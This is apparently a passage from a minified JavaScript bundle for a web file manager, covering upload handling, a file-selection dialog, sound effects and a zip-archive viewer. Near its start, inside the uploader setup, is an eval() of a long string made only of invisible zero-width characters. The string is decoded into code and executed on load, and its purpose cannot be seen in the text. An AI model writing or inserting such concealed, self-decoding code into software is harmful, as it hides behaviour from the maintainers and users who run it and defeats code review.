i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
      '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
      ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
      ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")",a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData)if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
      '+LNG.upload_drag_tips+"
      ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
      ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";a.before(s)}var r=''+date(LNG.time_type,t.mtime)+"";r+=''+core.fileSize(t.size)+"",r+='',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),f(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(f(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},f=function(e){var t=u(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},u=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=u(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),f(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e); +return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: 